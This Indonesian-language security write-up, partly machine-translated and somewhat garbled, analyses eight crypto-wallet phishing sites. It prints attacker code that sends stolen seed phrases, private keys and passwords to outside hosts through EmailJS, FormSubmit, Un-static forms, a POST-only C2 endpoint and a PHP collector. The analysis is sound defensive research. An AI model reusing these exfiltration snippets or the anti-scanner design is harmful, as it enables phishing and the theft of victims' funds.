Analisis Phishing Kripto:
8 Serangan Nyata yang Dianalisis

Peniruan identitas

Sebuah "protokol terdesentralisasi" fiktif untuk validasi dompet. Menggunakan ticker harga CryptoCompare secara real-time dan tautan ke penjelajah blockchain asli (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano) untuk menjamin kredibilitasnya. Halaman utama menampilkan lebih dari 100 logo dompet dan proses "validasi" dalam 3 langkah.

Rantai Eksfiltrasi Ganda

Backend yang paling canggih di antara kelima sistem tersebut — setiap kredensial yang dicuri dikirim melalui dua saluran independen secara bersamaan:

Victim submits seed phrase
  |
  +--> Channel 1: axios POST --> Express.js on Render.com
  |      |
  |      +--> Telegram Bot API --> @metatech2 (instant DM)
  |
  +--> Channel 2: fetch POST --> EmailJS API
         |
         +--> Bestgrace309@gmail.com (email backup)

Temuan OSINT

Peniruan identitas

Penyalinan yang sempurna hingga tingkat piksel dari dunia nyata Aqualibre (AQLA) halaman migrasi token. Kode HTML tersebut berisi tag metadata yang menunjukkan sumbernya: data-scrapbook-source="https://token.aqla.app/migration", bertanggal 19 November 2024.

Pendekatan Tanpa Kode

Penyerang ini memerlukan tanpa kode di sisi server. Formulir tersebut mengirimkan data secara langsung ke Tidak statis — sebuah backend formulir yang sah untuk situs statis. Setiap pengiriman data diteruskan ke alamat email penipu. Alamat email penyerang adalah tidak pernah terlihat dalam kode sumber.

<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
  <textarea name="phrase"></textarea>
  <input name="private-key" />
  <textarea name="keystore-json"></textarea>
  <input name="password" />
</form>

Peniruan identitas

Subdomain tersebut berisi "safpal" — sebuah kesalahan ejaan yang disengaja dari SafePal, sebuah dompet perangkat keras yang populer. Situs tersebut menyamar sebagai "Blockchain Wallet Rectification" dengan 26 kategori masalah palsu. Menggunakan Typed.js untuk menampilkan animasi nama-nama rantai (Ethereum, BSC, Polygon...) dan ticker LiveCoinWatch untuk menambah kesan kredibilitas.

Perangkat yang Sama, Operator yang Sama?

Menggunakan templat phishing yang persis sama sebagai Lokasi #2: sama persis connect.html, sama persis wallets.html dengan lebih dari 60 logo, menggunakan backend Un-static yang sama (ID formulir yang berbeda — 6f1b82c3...da9943af). Kit yang identik tersebut sangat mengindikasikan satu operator yang mengelola kedua situs tersebut.

Hal-hal yang perlu diperhatikan dalam kode: "Privay Policy" (kurang huruf 'c'), "seperated" (seharusnya "separated"), "Kestore" (kurang huruf 'y'). Kolom kata sandi menggunakan type="text" daripada type="password".

Peniruan identitas

Sebuah tiruan yang nyaris sempurna dari Jaringan Flare portal — blockchain EVM Layer-1 sejati yang dilengkapi dengan protokol FTSO dan Data Connector. Meniru lebih dari 30 mitra ekosistem, antarmuka navigasi, dan identitas merek. Favicon dimuat dari domain typosquat: portal.flaremainet.com (ada satu huruf 'n' yang hilang dari kata "mainnet").

Redundansi Ganda EmailJS

Satu-satunya situs yang menggunakan dua akun EmailJS yang berbeda secara bersamaan untuk redundansi anti-Penghapusan:

// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4

// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
  data: { service_id: 'service_isy47de',
          template_id: 'template_dkk4d1b',
          user_id: 'JsVEgXVcaSTro1etu' }
})

Subjek email untuk setiap kasus pencurian: "New Wallet Details from Flare".

Situs #4: iklan berbayar, pelacakan analitik, dan eksfiltrasi ganda — operasi yang paling profesional

Peniruan identitas

Layanan "COIN NODE" / "Wallet Fix" umum (tanpa merek tertentu). Hak Cipta "Wallet Fix 2022" — templat kit ini sudah berumur setidaknya 4 tahun. Gambar-gambar dihosting di pumpeth.com (WordPress di AWS).

Phishing sebagai Layanan

Arsitektur backend yang paling mengkhawatirkan: sebuah API multi-tenant berbasis UUID:

POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data

wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...

Setiap penipu mendapatkan titik akhir UUID masing-masing. Seorang operator pusat mengelola API tersebut, memantau kampanye, dan kemungkinan mengambil bagian dari dana yang dicuri. Ini adalah pencurian kripto yang dilakukan secara terorganisir — model Phishing-as-a-Service.

Infrastruktur Terkait (Sebagian Besar Sudah Tidak Berfungsi)

Peniruan identitas

A operasi dua arah: sebuah "Pusat Bantuan" umum di wallet-support-39n.pages.dev dengan 15 kategori penerbitan palsu dan 39 merek dompet, ditambah sebuah Klon proses orientasi pengguna Ledger yang persis sama hingga tingkat piksel di ledger-recovery.support dijalankan di Replit — lengkap dengan pilihan model perangkat, pengaturan PIN, dan kisi frasa benih berisikan 24 kata dengan Fitur autocomplete BIP39 yang sesungguhnya.

Backend C2 Anti-Pemindai

Halaman dukungan dompet mengirimkan data yang dicuri ke api.uranustoken.org/log — server C2 berbasis nginx/Ubuntu yang disesuaikan dan berada di balik Cloudflare. Bagian belakang secara sengaja memblokir semua permintaan GET (mengembalikan kode kesalahan 522 (timeout)), hanya merespons permintaan POST. Artinya, pemindai URL, crawler Google Safe Browsing, dan peneliti keamanan yang mengirimkan permintaan GET ke titik akhir tersebut tidak mendapatkan respons apa pun — server C2 tampak tidak aktif.

// config.js — C2 config exposed in plaintext
const config = {
  serverURL: "https://api.uranustoken.org",
  allowedWallets: ["phantom","solfare","metamask","trustwallet",
    "coinbasewallet","ledger","trezor","okx","sui","backpack",
    "tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;

// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
  fetch(serverURL + "/log", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
  })
}

Klon Ledger ini menjalankan backend Express.js terpisah di Replit itu sendiri: POST /api/recovery-phrase mengumpulkan {deviceId, pin, phrase}. Hasilnya adalah 400 {"error":"Invalid data provided"} jika terjadi input yang tidak valid — untuk memastikan bahwa backend tersebut berlangsung dan sedang dilakukan validasi secara aktif data yang dicuri.

Temuan OSINT

Peniruan identitas

Sebuah "Decentralized Launchpad" umum dengan 21 kategori umpan (Staking, Migrasi, KYC, Giveaway, Klaim Hadiah, Pemulihan Aset, Prapenjualan, Pencetakan NFT, Akun yang Terkunci...) dan Lebih dari 70 merek dompet — salah satu daftar dompet paling lengkap yang pernah kami temui. Kesalahan ketik yang mencolok, yaitu "Sychronize" (tanpa huruf 'n'), mengungkap bahwa itu palsu.

Pipa FormSubmit Pipeline

Kegunaan FormSubmit.co — layanan pengiriman formulir ke email yang sah. Hash titik akhir a2cf4131f1a5d39453c7c183df96f86f adalah nilai MD5 dari alamat email penipu tersebut. Kami mencoba ratusan pola alamat email secara acak di Gmail, Yahoo, Hotmail, ProtonMail, Yandex, dan Mail.ru — tidak ada yang cocok. Penipu tersebut menggunakan alamat email yang tidak umum atau dihasilkan secara acak.

// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
    url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
    method: "POST",
    dataType: "JSON",
    data: {
        dappWord: seedPhrase,       // THE STOLEN SEED PHRASE
        dappName: walletName,       // Which wallet was selected
        linkName: "DAPP DECENTRALIZED"  // Campaign identifier
    }
});

Temuan OSINT

Peniruan identitas

Tidak diketahui — baik frontend maupun backend sedang offline. Berdasarkan struktur payload, ini adalah serangan pencurian frasa benih dompet kripto. Serangan ini Bucket publik Cloudflare R2 (penyimpanan objek, bukan Pages) adalah sebuah vektor phishing yang telah didokumentasikan dengan baik dengan lebih dari 5.000 halaman berbahaya yang teridentifikasi dan peningkatan lalu lintas sebesar 61 kali lipat yang dilaporkan oleh Netskope.

Pengaturan Script Kiddie

Yang paling operasi dasar dalam koleksi ini. Frasa benih dikirim kata demi kata ke skrip PHP yang berjalan di komputer pribadi atau VPS yang terhubung ke layanan DNS gratis:

POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded

pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
    +%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
    +%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
    +%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access

Temuan OSINT